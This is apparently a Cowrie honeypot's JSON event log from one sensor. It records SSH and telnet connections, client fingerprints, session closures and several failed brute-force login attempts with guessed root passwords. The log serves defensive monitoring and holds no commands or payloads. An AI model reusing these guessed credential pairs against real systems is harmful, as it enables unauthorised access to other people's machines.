{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:41.645278Z","src_ip":"191.255.52.36","session":"59c259d79e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dh@123456","message":"login attempt [root/dh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:42.329328Z","src_ip":"191.255.52.36","session":"59c259d79e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:43.465297Z","src_ip":"191.255.52.36","session":"59c259d79e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00852346420288,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:46.817592Z","src_ip":"45.63.42.31","session":"4f038cb03bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300841093063354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:54.946620Z","src_ip":"202.91.32.11","session":"051d2bed95c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54596,"dst_ip":"159.203.135.109","dst_port":23,"session":"4291661e5e71","protocol":"telnet","message":"New connection: 202.91.32.11:54596 (159.203.135.109:23) [session: 4291661e5e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:57.584916Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53576,"dst_ip":"159.203.135.109","dst_port":23,"session":"624094bce185","protocol":"telnet","message":"New connection: 202.91.32.11:53576 (159.203.135.109:23) [session: 624094bce185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:06.248810Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41584,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae8c2be702d","protocol":"telnet","message":"New connection: 45.63.42.31:41584 (10.17.0.5:23) [session: 9ae8c2be702d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:08.482786Z"}
{"eventid":"cowrie.session.closed","duration":30.600664138793945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:10.508083Z","src_ip":"202.91.32.11","session":"ffce0e2732a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33330726623535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:11.762359Z","src_ip":"45.63.42.31","session":"873a16bd5f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28444862365723,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:11.800707Z","src_ip":"45.63.42.31","session":"db66ff5b52b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"343986e9a7d1","protocol":"telnet","message":"New connection: 45.63.42.31:50744 (10.17.0.5:23) [session: 343986e9a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:12.123304Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33292,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b29f8273133","protocol":"telnet","message":"New connection: 103.115.172.252:33292 (10.17.0.5:23) [session: 8b29f8273133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:20.481966Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":33276,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdc4f3172d1","protocol":"ssh","message":"New connection: 107.173.55.151:33276 (10.17.0.5:22) [session: 6fdc4f3172d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.041919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.046966Z","src_ip":"107.173.55.151","session":"6fdc4f3172d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.066732Z","src_ip":"107.173.55.151","session":"6fdc4f3172d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fe123456","message":"login attempt [root/fe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.175943Z","src_ip":"107.173.55.151","session":"6fdc4f3172d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44206,"dst_ip":"10.17.0.5","dst_port":23,"session":"0654221d1de5","protocol":"telnet","message":"New connection: 45.63.42.31:44206 (10.17.0.5:23) [session: 0654221d1de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.219728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45108,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35dfa142553","protocol":"telnet","message":"New connection: 45.63.42.31:45108 (10.17.0.5:23) [session: f35dfa142553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:23.712957Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:24.200627Z","src_ip":"107.173.55.151","session":"6fdc4f3172d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47884,"dst_ip":"10.17.0.5","dst_port":23,"session":"6091f3457e13","protocol":"telnet","message":"New connection: 45.63.42.31:47884 (10.17.0.5:23) [session: 6091f3457e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:25.950791Z"}
{"eventid":"cowrie.session.closed","duration":31.227680206298828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:28.812489Z","src_ip":"202.91.32.11","session":"4291661e5e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33070,"dst_ip":"10.17.0.5","dst_port":23,"session":"da76806b8fcf","protocol":"telnet","message":"New connection: 45.63.42.31:33070 (10.17.0.5:23) [session: da76806b8fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:31.701745Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e79e3b5d15","protocol":"telnet","message":"New connection: 103.115.172.252:37860 (10.17.0.5:23) [session: f6e79e3b5d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:31.977338Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38674,"dst_ip":"10.17.0.5","dst_port":23,"session":"25b5bb29632b","protocol":"telnet","message":"New connection: 45.63.42.31:38674 (10.17.0.5:23) [session: 25b5bb29632b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:35.574344Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f75624c51d","protocol":"telnet","message":"New connection: 45.63.42.31:41328 (10.17.0.5:23) [session: 59f75624c51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:35.840647Z"}
{"eventid":"cowrie.session.closed","duration":31.578464031219482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:37.827124Z","src_ip":"202.91.32.11","session":"624094bce185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":41676,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9e08e2e64f","protocol":"telnet","message":"New connection: 103.115.172.252:41676 (10.17.0.5:23) [session: 3e9e08e2e64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:41.309865Z"}
{"eventid":"cowrie.session.closed","duration":34.92481327056885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:43.407493Z","src_ip":"45.63.42.31","session":"9ae8c2be702d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eaf6ddf0dc1","protocol":"telnet","message":"New connection: 45.63.42.31:50800 (10.17.0.5:23) [session: 1eaf6ddf0dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:43.698006Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55530,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b08183e165","protocol":"telnet","message":"New connection: 45.63.42.31:55530 (10.17.0.5:23) [session: c3b08183e165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:46.075011Z"}
{"eventid":"cowrie.session.closed","duration":34.064547061920166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:46.187731Z","src_ip":"45.63.42.31","session":"343986e9a7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"51cdf82caf72","protocol":"telnet","message":"New connection: 45.63.42.31:37818 (10.17.0.5:23) [session: 51cdf82caf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:48.480685Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45212,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c72d75a79dc","protocol":"telnet","message":"New connection: 45.63.42.31:45212 (10.17.0.5:23) [session: 8c72d75a79dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:55.320297Z"}
{"eventid":"cowrie.session.closed","duration":33.17634844779968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:56.889210Z","src_ip":"45.63.42.31","session":"f35dfa142553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4929895401001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:24:57.712631Z","src_ip":"45.63.42.31","session":"0654221d1de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93136787414551,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:01.413205Z","src_ip":"103.115.172.252","session":"8b29f8273133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34491181373596,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:02.295614Z","src_ip":"45.63.42.31","session":"6091f3457e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38886,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2101c5d5cb","protocol":"telnet","message":"New connection: 45.63.42.31:38886 (10.17.0.5:23) [session: 8e2101c5d5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:03.329278Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":37880,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa6e012fa4a","protocol":"ssh","message":"New connection: 114.141.59.195:37880 (159.203.135.109:22) [session: baa6e012fa4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:04.327025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:04.332658Z","src_ip":"114.141.59.195","session":"baa6e012fa4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:04.589917Z","src_ip":"114.141.59.195","session":"baa6e012fa4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:05.596571Z","src_ip":"114.141.59.195","session":"baa6e012fa4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:06.866582Z","src_ip":"114.141.59.195","session":"baa6e012fa4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.78995752334595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:08.491605Z","src_ip":"45.63.42.31","session":"da76806b8fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60665273666382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:10.180886Z","src_ip":"45.63.42.31","session":"25b5bb29632b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27554249763489,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:11.252763Z","src_ip":"103.115.172.252","session":"f6e79e3b5d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"286b0b4d29db","protocol":"ssh","message":"New connection: 107.173.55.151:55046 (10.17.0.5:22) [session: 286b0b4d29db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:11.652911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:11.658012Z","src_ip":"107.173.55.151","session":"286b0b4d29db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:11.679035Z","src_ip":"107.173.55.151","session":"286b0b4d29db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys@123456","message":"login attempt [root/Ys@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:11.793393Z","src_ip":"107.173.55.151","session":"286b0b4d29db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70278573036194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:12.543330Z","src_ip":"45.63.42.31","session":"59f75624c51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:12.821856Z","src_ip":"107.173.55.151","session":"286b0b4d29db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":57882,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9bd1cec054","protocol":"ssh","message":"New connection: 5.182.83.231:57882 (10.17.0.5:22) [session: 2c9bd1cec054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:13.145461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:13.150302Z","src_ip":"5.182.83.231","session":"2c9bd1cec054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:13.268957Z","src_ip":"5.182.83.231","session":"2c9bd1cec054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@34QWer","message":"login attempt [root/!@34QWer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:13.777893Z","src_ip":"5.182.83.231","session":"2c9bd1cec054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:14.898880Z","src_ip":"5.182.83.231","session":"2c9bd1cec054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.37892937660217,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:18.076819Z","src_ip":"45.63.42.31","session":"1eaf6ddf0dc1","protocol":"telnet"}
